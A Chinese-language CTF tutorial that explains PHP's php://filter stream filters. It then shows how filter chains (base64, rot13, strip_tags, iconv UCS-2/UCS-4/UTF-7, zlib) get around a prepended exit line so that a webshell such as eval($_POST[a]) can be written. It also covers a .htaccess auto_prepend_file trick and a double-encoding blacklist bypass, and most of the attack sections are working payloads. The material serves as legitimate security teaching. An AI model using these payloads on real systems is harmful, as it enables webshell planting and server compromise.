详解php://filter以及死亡绕过
详解php://filter以及死亡绕过
php://filter
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
- php:// — 访问各个输入/输出流(I/O streams)
- php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
php://filter
参数
php://filter
可以作为一个中间流来处理其他流。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> |
这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
write=<写链的筛选列表> |
该参数可选。可以设定一个或多个过滤器名称,以管道符(` |
<;两个链的筛选列表> |
任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
测试代码:
1 |
|
读取文件:
1 | # 明文读取 |
写入文件:
1 | # 明文写入 |
过滤器
字符串过滤器
string.rot13
string.rot13
(自 PHP 4.3.0 起)使用此过滤器等同于用 str_rot13()函数处理所有的流数据。
str_rot13
—对字符串执行ROT13
转换. ROT13
编码简单地使用字母表中后面第13
个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
string.toupper
string.tolower
(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。
strtoupper
—将字符串转化为大写
string.tolower
(自 PHP 5.0.0 起)使用此过滤器等同于用 strtolower()函数处理所有的流数据。
strtolower
—将字符串转化为小写
string.strip_tags
使用此过滤器等同于用 strip_tags()函数处理所有的流数据。可以用两种格式接收参数:一种是和strip_tags()
函数第二个参数相似的一个包含有标记列表的字符串,一种是一个包含有标记名的数组。
strip_tags
—从字符串中去除 HTML 和 PHP 标记.该函数尝试返回给定的字符串str
去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()
一样的机制去除标记。
转换过滤器
如同 string.* 过滤器,convert.* 过滤器的作用就和其名字一样。转换过滤器是 PHP 5.0.0 添加的。对于指定过滤器的更多信息,请参考该函数的手册页。
1 | https://www.php.net/manual/zh/filters.convert.php |
convert.base64
convert.base64-encode
和 convert.base64-decode
使用这两个过滤器等同于分别用base64_encode()
和base64_decode()
函数处理所有的流数据。convert.base64-encode
支持以一个关联数组给出的参数。如果给出了line-length
,base64 输出将被用line-length
个字符为 长度而截成块。如果给出了line-break-chars
,每块将被用给出的字符隔开。这些参数的效果和用base64_encode()
再加上 chunk_split()相同。
convert.quoted
convert.quoted-printable-encode
和convert.quoted-printable-decode
使用此过滤器的decode
版本等同于用 quoted_printable_decode()
函数处理所有的流数据。没有和convert.quoted-printable-encode
相对应的函数。 convert.quoted-printable-encode
支持以一个关联数组给出的参数。除了支持和convert.base64-encode
一样的附加参数外,convert.quoted-printable-encode
还支持布尔参数binary和 force-encode-first
。convert.base64-decode
只支持line-break-chars
参数作为从编码载荷中剥离的类型提示。
convert.iconv.*
这个过滤器需要php
支持 iconv
,而iconv
是默认编译的。使用convert.iconv.*
过滤器等同于用iconv()
函数处理所有的流数据。
iconv
— 字符串按要求的字符编码来转换
convery.iconv.*的使用有两种方法:
1 | convert.iconv.<input-encoding>.<output-encoding> |
支持的字符编码有一下几种(详细参考官方手册)
1 | UCS-4* |
压缩过滤器
虽然 压缩封装协议 提供了在本地文件系统中 创建 gzip 和 bz2 兼容文件的方法,但不代表可以在网络的流中提供通用压缩的意思,也不代表可以将一个非压缩的流转换成一个压缩流。对此,压缩过滤器可以在任何时候应用于任何流资源。
1 | Note: 压缩过滤器 不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。 |
1 | ?file=compress.zlib://flag.php |
加密过滤器
mcrypt.
*和 mdecrypt.*
使用libmcrypt
提供了对称的加密和解密。这两组过滤器都支持mcrypt
扩展库中相同的算法,格式为 mcrypt.ciphername
,其中ciphername
是密码的名字,将被传递给mcrypt_module_open()
。有以下五个过滤器参数可用:
绕过死亡exit
bypass不同变量
1 |
|
$content
在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了。那么这种情况下,如何绕过这个“死亡exit”
?
思路其实也很简单我们只要将content
前面的那部分内容使用某种手段(编码等)进行处理,导致php
不能识别该部分就可以了。
这里的$_POST[‘filename’]
是可以控制协议的.
base64绕过
Base64
编码是使用64个可打印ASCII字符(A-Z、a-z、0-9、+、/)将任意字节序列数据编码成ASCII字符串,另有“=”符号用作后缀用途。
base64
编码中只包含64个可打印字符,而PHP在解码base64
时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码
当$content
被加上了<?php exit; ?>
以后,我们可以使用php://filter/write=convert.base64-decode
来首先对其解码。在解码的过程中,字符< ? ; >
空格等一共有7个字符不符合base64
编码的字符范围将被忽略,所以最终被解码的字符仅有”phpexit”
和我们传入的其他字符。
由于,”phpexit”
一共7个字符,但是base64
算法解码时是4个byte一组,所以我们可以随便再给他添加一个字符。这样前边的phpexit
加上另一个字符就会被base64
解码,然后后边的我们精心构造的base64
字符串也会被成功解码为php代码。
payload:
1 | ?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw== |
成功写入
rot13绕过
str_rot13
—对字符串执行ROT13
转换. ROT13
编码简单地使用字母表中后面第13
个字母替换当前字母,同时忽略非字母表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串。
利用php://filter
中string.rot13
过滤器去除”exit”
。string.rot13
的特性是编码和解码都是自身完成,利用这一特性可以去除exit
。 <?php exit;?>
在经过rot13
编码后会变成 <?cuc rkvg();?>
,不过这种利用手法的前提是PHP不开启short_open_tag/
虽然官方说的默认开启,但是在php.ini
中默认是注释掉的,也就是说它还是默认关闭。
payload:
1 | ?filename=php://filter/write=string.rot13/resource=2.php&content= cuc riny($_CBFG[n]); |
成功写入文件 2.php
1 | eval($_POST[a]); cuc rkvg(); |
string.strip_tags
strip_tags
— 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()
一样的机制去除标记。
但是我们的目的是写入webshell
,如果那样的话,我们的webshell
岂不是同样起不了作用,不过我们可以使用多个过滤器进行绕过这个限制(php://filter
允许通过使用多个过滤器)。
1 | 1、webshell用base64编码 //为了避免strip_tags的影响 |
payload:
1 | ?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content= PD9waHAgZXZhbCgkX1BPU1RbYV0pOw== |
成功写入:
1 | <?php eval($_POST[a]); |
.htaccess的预包含处理
PHP中auto_prepend_file
与auto_append_file
用法实例分析:
php.ini
中有两项:
1 | auto_prepend_file 在页面顶部加载文件 |
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require
文件时,只需要修改auto_prepend_file
与auto_append_file
的值即可。
例如:修改php.ini
,修改auto_prepend_file
与auto_append_file
的值。
1 | auto_prepend_file = "/home/fdipzone/header.php" |
修改后重启服务器,这样所有页面的顶部与底部都会require /home/fdipzone/header.php
与 /home/fdipzone/footer.php
如果不需要所有页面都在顶部或底部require
文件,可以指定某一个文件夹内的页面文件才调用auto_prepend_file
与auto_append_file
在需要顶部或底部加载文件的文件夹中加入.htaccess
文件,内容如下:
1 | php_value auto_prepend_file "/home/fdipzone/header.php" |
这样在指定.htaccess
的文件夹内的页面文件才会加载/home/fdipzone/header.php
与/home/fdipzone/footer.php
,其他页面文件不受影响。
自定义包含我们的flag文件。
payload:
1 | ?filename=php://filter/write=string.strip_tags/resource=.htaccess&content=?>php_value auto_prepend_file "/flag" |
首先来解释$filename
的代码,这里引用了string.strip_tags
过滤器,可以过滤.htaccess
内容的html
标签,自然也就消除了死亡代码;$content
即闭合死亡代码使其完全消除,并且写入自定义包含文件;
bypass相同变量
1 |
|
这种情况下写入的文件,其文件名和文件部分内容一致,这就导致利用的难度大大增加了,不过最终目的还是相同的:都是为了去除文件头部内容exit
这个关键代码写入shell
后门。
base64
构造:
1 | content=php://filter/convert.base64-decode/PD9waHAgcGhwaW5mbygpOz8+/resource=shell.php |
进行拼接之后就是 <?php exit();php://filter/convert.base64-decode/resource=PD9waHAgcGhwaW5mbygpOz8+.php
然后会对其进行一次整体的 base64-decode
。从而分解掉死亡代码,
但是无法生成content
;虽然文件创建成功,但是就是无法生成content
。问题在于resource
后边的 =
;
‘=’
在base64
中的作用是填充,也就是以为着结束;在‘=’
的后面是不允许有任何其他字符的否则会报错,
这里因为是由于‘=’
从而使得我们写入content
不成功,那么我们可以想个方法去掉等号即可,
去掉等号之过滤器嵌套base64
payload:
1 | content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+.php |
发现可以生成文件,并且可以看到我们已经成功写入了shell
;但是文件名确实有问题,当我们在浏览器访问的时候,会出现访问不到的问题,这里是因为引号的问题;那么如何避免,我们可以使用伪目录的方法,进行变相的绕过去;
payoad:
1 | content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php |
注意:这里%2b
是+
号的url编码,不进行编码会被当成空格处理
我们将前面的一串base64
字符和闭合的符号整体看作一个目录,虽然没有,但是我们后面重新撤回了原目录,生成shell.php
文件;从而就可以生成正常的文件名.
或者去掉等号之直接对内容进行变性另类base64
其实这种也是借助于过滤器,但是原理并不是和之前的原理一样,之前的原理即是:闭合原本的死亡代码,然后在进行过滤器过滤掉内容中的html
标签,从而对剩下的内容进行base64
解码。但是这种方法却不是如此,payload如下:
1 | php://filter/<?|string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8%2b/../shell.php |
这种payload
的攻击原理即是首先直接在内容时,就将我们base64
遇到的‘=’
这个问题直接写在<? ?>
中进行过滤掉,然后base64-decode
再对原本内容的<?php exit();
进行转码,从而达到分解死亡代码的效果
rot13绕过
尽管base64
比较特别,但是并不是所有的编码都受限于‘=’,这里可以采用rot13编码即可;
payload:
1 | content=php://filter/write=string.rot13|<?cuc cucvasb();?>|/resource=shell.php |
生成文件内容:
1 | <?cuc rkvg();cuc://svygre/jevgr=fgevat.ebg13|<?php phpinfo();?>|/erfbhepr=f1zcyr.cuc |
其原理就是利用转码从而将原本的死亡代码进行转码从而使引擎无法识别从而避免死亡代码;
convert.iconv.*
对于iconv
字符编码转换进行绕过的手法,其实类似于上面所述的base64
编码手段,都是先对原有字符串进行某种编码然后再解码,这个过程导致最初的限制exit;
去除,而我们的恶意代码正常解码存储。
- usc-2
通过UCS-2方式,对目标字符串进行2位一反转(这里的2LE和2BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-2中2的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了
1 | echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[ab]);?>'); |
payload:
1 | php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pe@av(l_$OPTSa[]b;)>?/resource=shell.php |
成功向 shell.php
写入
1 | ?<hp pxeti)(p;ph/:f/liet/rocvnre.tcino.vCU-SL2.ECU-SB2|Eeval($_POST[ab]); r/seuocr=ehsle.l @ |
- usc-4
通过UCS-4方式,对目标字符串进行4位一反转(这里的4LE和4BE可以看作是小端和大端的列子),也就是说构造的恶意代码需要是UCS-4中4的倍数,不然不能进行正常反转(多余不满足的字符串会被截断),那我们就可以利用这种过滤器进行编码转换绕过了.
1 | <?php |
28字符 <?php @eval($_POST[abcd]);?>
转为 hp?<e@ p(lavOP_$a[TS]dcb>?;)
payload:
1 | content=php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp?<e@ p(lavOP_$a[TS]dcb>?;)/resource=shell.php |
成功写入:
1 | hp?<xe p)(tiphp;f//:etlioc/rrevnci.t.vno-SCU.EL4-SCU|EB4<?php @eval($_POST[abcd]);?>ser/cruohs=e.lle |
- utf8-utf7
这里发现生成的是+AD0-
,然而经过检测,此字符串可以被base64
进行解码;那也就意味着我们可以使用这种方法避免等号对我们base64
解码的影响;我们可以直接写入base64
加密后的payload
,然后将其进行utf
之间的转换,因为纯字符转换之后还是其本身;所以其不受影响,进而我们的base64-encode
之后的编码依然是存在的,然后进行base64-decode
一下,写入shell.
payload:
1 | content=php://filter/write=aaaaXDw/cGhwIEBldmFsKCRfUE9TVFthXSk7ID8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php |
ps:
1 | // 这里要符合base64 解码按4 字节进行 |
VMCTF Checkin
1 |
|
这里主要就是考察过滤器构造绕过
题目中过滤的过滤器有
1 | /iconv|UCS|UTF|rot|quoted|base64/ |
但是需要注意file_put_contents
要调用伪协议,
1 | static void php_stream_apply_filter_list(php_stream *stream, char *filterlist, int read_chain, int write_chain) |
而伪协议处理时会对过滤器 urldecode
一次,所以是可以利用二次编码绕过的,
payload:
1 | php://filter/write=string.%7%32ot13| cuc cucvasb(); |/resource=w0s1np.php |
注:payload
放过滤器的位置或者放文件名位置都可(因为有些编码有时候会有空格什么的乱码,文件名不一定好用),php://filter
面对不可用的规则是报个Warning
,然后跳过继续执行的)。
还可以利用压缩过滤器以及加密过滤器:
zlib
的 zlib.deflate
和 zlib.inflate
,组合使用压缩后再解压后内容肯定不变,不过我们可以在中间遍历一下剩下的几个过滤器,看看中间进行什么操作会影响后续 inflate
的内容,简单遍历一下可以发现中间插入 string.tolower
转后会把空格和 exit
处理了就可以绕过exit
1 | php://filter/zlib.deflate|string.tolower|zlib.inflate| %0deval($_GET[1]); /resource=shell.php |